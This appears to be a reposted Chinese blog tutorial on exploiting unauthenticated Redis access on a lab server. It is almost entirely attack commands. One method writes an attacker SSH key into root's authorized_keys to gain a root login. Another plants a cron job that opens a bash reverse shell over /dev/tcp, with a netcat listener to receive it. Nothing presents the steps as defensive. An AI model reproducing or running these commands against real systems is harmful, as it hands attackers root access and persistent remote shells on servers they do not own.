Redis未授权访问利用

Redis服务器:192.168.100.10

攻击机:192.168.15.101

一.发现目标

通过端口扫描,疑似有redis服务。 

Redis未授权访问利用_第1张图片

尝试连接

[root@localhost src]# ./redis-cli -h 192.168.100.10

Redis未授权访问利用_第2张图片

确认有redis未授权漏洞。

二.攻击目标

1.通过redis未授权写ssh公钥
(1)用攻击机生成ssh公钥私钥

[root@localhost .ssh]# ssh-keygen -t rsa

Redis未授权访问利用_第3张图片

生成id_rsa和id_rsa.pub两个文件。

 

将公钥写入1.txt文件中。

[root@localhost .ssh]# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

(2)通过redis未授权把公钥文件写入(192.168.100.10)

[root@localhost src]# cat /root/.ssh/1.txt | ./redis-cli -h 192.168.100.10 -x set crackit

[root@localhost src]# ./redis-cli -h 192.168.100.10

192.168.100.10:6379> config set dir /root/.ssh/

OK

192.168.100.10:6379> config get dir

1) "dir"

2) "/root/.ssh"

192.168.100.10:6379> config set dbfilename "authorized_keys"

OK

192.168.100.10:6379> save

OK

192.168.100.10:6379>

Redis未授权访问利用_第4张图片

这时已经成功写入

Redis未授权访问利用_第5张图片 

[root@localhost .ssh]# cat authorized_keys

(3)连接redis服务器

[root@localhost src]# ssh -i /root/.ssh/id_rsa [email protected]

Redis未授权访问利用_第6张图片

成功通过私钥登录192.168.100.10服务器。

2.通过redis未授权写计划任务
(1)连接redis服务器

[root@localhost src]# ./redis-cli -h 192.168.100.10

(2)写计划任务

192.168.100.10:6379> set x "\n* * * * * bash -i >& /dev/tcp/IP/端口 0>&1\n"

OK

192.168.100.10:6379> config set dir /var/spool/cron/

OK

192.168.100.10:6379> config set dbfilename root

OK

192.168.100.10:6379> save

OK

192.168.100.10:6379> exit

Redis未授权访问利用_第7张图片

(3)vps接反弹的shell

[root]# nc -lvvp 44444

Redis未授权访问利用_第8张图片

 

你可能感兴趣的:(redis,数据库,缓存)